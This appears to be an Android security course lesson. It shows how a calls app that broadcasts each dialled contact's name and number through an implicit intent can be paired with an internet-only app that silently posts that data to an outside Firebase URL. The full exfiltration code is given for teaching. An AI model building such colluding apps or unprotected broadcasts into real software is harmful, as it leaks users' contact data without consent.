Exploiting Vulnerabilities in Android

Introduction

In this lesson we will learn about a possible security vulnerability in Android. To show the vulnerability, we will see how two apparently inoffensive apps could represent a risk to the user if they are installed together.

Micro Sprint 13
Activity Type Lesson
Expected Duration 50 minutes
Topic Debugging UI

Content

Recommended Links:

In this lesson you will need to develop two simple apps. The first one will be a app to make phone calls; it will only show the list of contacts and allow you to make a call when you select one of the contacts. The second app will not have any functionality, but it will have the permission to access internet. The idea is to communicate both applications without the user noticing, and take the information from the first app to the second one.

a. Calls application

Got to Android studio and create an empty app. Then, go to the manifest and add the permissions to access the contacts and make calls:

<uses-permission android:name="android.permission.CALL_PHONE" />
<uses-permission android:name="android.permission.READ_CONTACTS" />

Now, got to the activity_main.xml file to include a ListView where the contacts are going to be display.

<?xml version="1.0" encoding="utf-8"?>
<RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android"
    xmlns:tools="http://schemas.android.com/tools"
    android:layout_width="match_parent"
    android:layout_height="match_parent"
    android:paddingLeft="16pt"
    android:paddingRight="16pt"
    android:paddingTop="16pt"
    android:paddingBottom="16pt">
    <ListView
        android:id="@+id/list"
        android:layout_width="match_parent"
        android:layout_height="wrap_content"
        />
</RelativeLayout>

After that, go to MainActivity.java and change it to load the contacts list:

import android.Manifest;
import android.app.LoaderManager;
import android.content.CursorLoader;
import android.content.Loader;
import android.content.pm.PackageManager;
import android.database.Cursor;
import android.provider.ContactsContract;
import android.support.v4.app.ActivityCompat;
import android.support.v4.content.ContextCompat;
import android.support.v7.app.AppCompatActivity;
import android.os.Bundle;
import android.widget.ListView;
import android.widget.SimpleCursorAdapter;

import java.util.ArrayList;

public class MainActivity extends AppCompatActivity implements LoaderManager.LoaderCallbacks<Cursor>{

    private final static String[] FROM_COLUMNS = {
            ContactsContract.Contacts.DISPLAY_NAME_PRIMARY
    };
    private static final String[] PROJECTION = {
            ContactsContract.Contacts._ID,
            ContactsContract.Contacts.LOOKUP_KEY,
            ContactsContract.Contacts.HAS_PHONE_NUMBER,
            ContactsContract.Contacts.DISPLAY_NAME_PRIMARY
    };

    private final static int[] TO_IDS = {android.R.id.text1};
    private static final int MY_PERMISSIONS_REQUEST_READ_CONTACTS = 1;
    private static final int MY_PERMISSIONS_REQUEST_CALL = 2;
    private ListView mContactsList;
    private SimpleCursorAdapter mAdapter;

    @Override
    protected void onCreate(Bundle savedInstanceState) {
        super.onCreate(savedInstanceState);
        setContentView(R.layout.activity_main);

        mContactsList = findViewById(R.id.list);
        if (ContextCompat.checkSelfPermission(this, Manifest.permission.READ_CONTACTS)!= PackageManager.PERMISSION_GRANTED) {
            ActivityCompat.requestPermissions(this,
                    new String[]{Manifest.permission.READ_CONTACTS},
                    MY_PERMISSIONS_REQUEST_READ_CONTACTS);
        } else {
            mAdapter = new SimpleCursorAdapter(  this,
                    android.R.layout.simple_list_item_2,
                    null,
                    FROM_COLUMNS,
                    TO_IDS,
                    0
            );
            mContactsList.setAdapter(mAdapter);
            getLoaderManager().initLoader(0, null, this);
        }
    }

    @Override
    public void onRequestPermissionsResult(int requestCode, String permissions[], int[] grantResults) {
        if(requestCode == MY_PERMISSIONS_REQUEST_READ_CONTACTS) {
            if (grantResults.length > 0 && grantResults[0] == PackageManager.PERMISSION_GRANTED) {
                mAdapter = new SimpleCursorAdapter(  this,
                        android.R.layout.simple_list_item_2,
                        null,
                        FROM_COLUMNS,
                        TO_IDS,0
                );
                mContactsList.setAdapter(mAdapter);
                getLoaderManager().initLoader(0, null, this);
            } else {
                //El usuario no autorizó el acceso a los contactos
            }
        }
    }
    @Override
    public Loader<Cursor> onCreateLoader(int id, Bundle args) {
        return new CursorLoader(
                this,
                ContactsContract.Contacts.CONTENT_URI,
                PROJECTION,
                null,
                null,
                null);
    }
    @Override
    public void onLoadFinished(Loader<Cursor> loader, Cursor cursor) {
        mAdapter.swapCursor(cursor);
    }
    @Override
    public void onLoaderReset(Loader<Cursor> loader) {
        mAdapter.swapCursor(null);
    }
}

In this moment your application should look like this:

Now we will implement the code that allow the user to make a call. First of all, we have to change the MainActivity class so that it extends OnItemClickListener. Then, in the onCreate method associate the listener to the list:

mContactsList.setOnItemClickListener(this);

Finally we need to implement the onItemClick method:

@Override
public void onItemClick(AdapterView<?> parent, View view, int position, long id) {
    Cursor cursor = ((SimpleCursorAdapter)parent.getAdapter()).getCursor();
    cursor.moveToPosition(position);
    if (Integer.parseInt(cursor.getString(cursor.getColumnIndex(ContactsContract.Contacts.HAS_PHONE_NUMBER))) > 0){
        Cursor phones = getContentResolver().query(
                ContactsContract.CommonDataKinds.Phone.CONTENT_URI,
                null,
                ContactsContract.CommonDataKinds.Phone.CONTACT_ID +" = "+ id,
                null,
                null);
        String phoneNumber = "";
        String contactName = "";
        while (phones.moveToNext()) {
            phoneNumber = phones.getString(phones.getColumnIndex(
                    ContactsContract.CommonDataKinds.Phone.NUMBER));
            contactName = phones.getString(phones.getColumnIndex(
                    ContactsContract.CommonDataKinds.Phone.DISPLAY_NAME));
        }
        if (ActivityCompat.checkSelfPermission(MainActivity.this, Manifest.permission.CALL_PHONE) != PackageManager.PERMISSION_GRANTED) {
            ActivityCompat.requestPermissions(
                    this,
                    new String[]{Manifest.permission.CALL_PHONE},
                    MY_PERMISSIONS_REQUEST_CALL);
        }
        else{
            Intent callIntent = new Intent(Intent.ACTION_CALL);
            callIntent.setData(Uri.parse("tel:"+phoneNumber));
            startActivity(callIntent);
        }
        phones.close();
    }else{
        Log.d("Tag","No number");
    }
}

After those changes the app should behave like this:

b. Application with access permission to internet

For the second application, create a new application in Android Studio. Add the following permission on the manifest file:

<uses-permission android:name="android.permission.INTERNET" />

Then add the following line to the app build.gradle:


implementation 'com.loopj.android:android-async-http:1.4.9'

c. Connection between two applications

To connect the two applications, the first thing we need to do is to implement a BroadcastReceiver in the internet application. To do that, you have to register a Receiver. In the onCreate Method of the main activity write:

BroadcastReceiver br = new MyReceiver();
        IntentFilter filter = new IntentFilter(ConnectivityManager.CONNECTIVITY_ACTION);
        filter.addAction("android.intent.action.CONTACT_CALLED");
        this.registerReceiver(br, filter);

The action should be the receiver action.

Now, we will define the class MyReceiver.java. The receiver is going to get information from the calls app, and the information is going to be send through extras of an intent.

import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.util.Log;
import android.widget.Toast;

import com.loopj.android.http.AsyncHttpClient;
import com.loopj.android.http.AsyncHttpResponseHandler;
import com.loopj.android.http.JsonHttpResponseHandler;
import com.loopj.android.http.RequestParams;

import org.json.JSONArray;

import cz.msebera.android.httpclient.Header;

public class MyReceiver  extends BroadcastReceiver{
    private static AsyncHttpClient client = new AsyncHttpClient();

    @Override
    public void onReceive(Context context, Intent intent) {
        if(intent.getAction() != null && intent.getExtras().getString("tel") !=
                null && intent.getExtras().getString("name") != null){
            final String tel = intent.getExtras().getString("tel");
            final String name = intent.getExtras().getString("name");
            JSONObject jsonParams = new JSONObject();
            jsonParams.put("name", name);
            jsonParams.put("tel",tel);
            StringEntity entity = new StringEntity(jsonParams.toString());
            post("hhttps://androidsecurity-69990.firebaseio.com/telefonos.json",entity, new JsonHttpResponseHandler() {
                @Override
                public void onSuccess(int statusCode, Header[] headers, JSONArray array) {
                    Log.d("tel",tel);
                    Log.d("name",name);
                }

                @Override
                public void onFailure(int statusCode, Header[] headers, String res, Throwable error){
                    Log.d("tel","fallo");
                    Log.d("tel",res);
                }
            });
        }
    }

    public static void post(String url, StringEntity params,AsyncHttpResponseHandler responseHandler) {
        client.post(null,url,null,params,"application/json",responseHandler);
    }
}

Once you implement the BroadcastReceiver is time to modify the calls app. The calls app needs to broadcasts the name and phone number in the moment that you make a call. So, go to the onItemClick method of the MainActivity and add the following lines under the intent call:

@Override
 public void onItemClick(AdapterView<?> parent, View view, int position, long
 id) {
 ...
Intent callIntent = new Intent(Intent.ACTION_CALL);
               callIntent.setData(Uri.parse("tel:"+phoneNumber));
               startActivity(callIntent);

//New lines
final Intent intent = new Intent();
intent.setAction("android.intent.action.CONTACT_CALLED");
intent.putExtra("tel",phoneNumber);
intent.putExtra("name",contactName);
sendBroadcast(intent);
...
}

Now, run both applications and make a call from the calls app.

What do you see on the log of the internet app?

VERSIONS

Versions Authors Date
1.0 Maria Camila Angel April 24, 2017
2.0 Sergio Velasquez May 1, 2018
2.1 Sergio Velasquez November 14, 2018
2.2 Sergio Velasquez May 2, 2019

results matching ""

    No results matching ""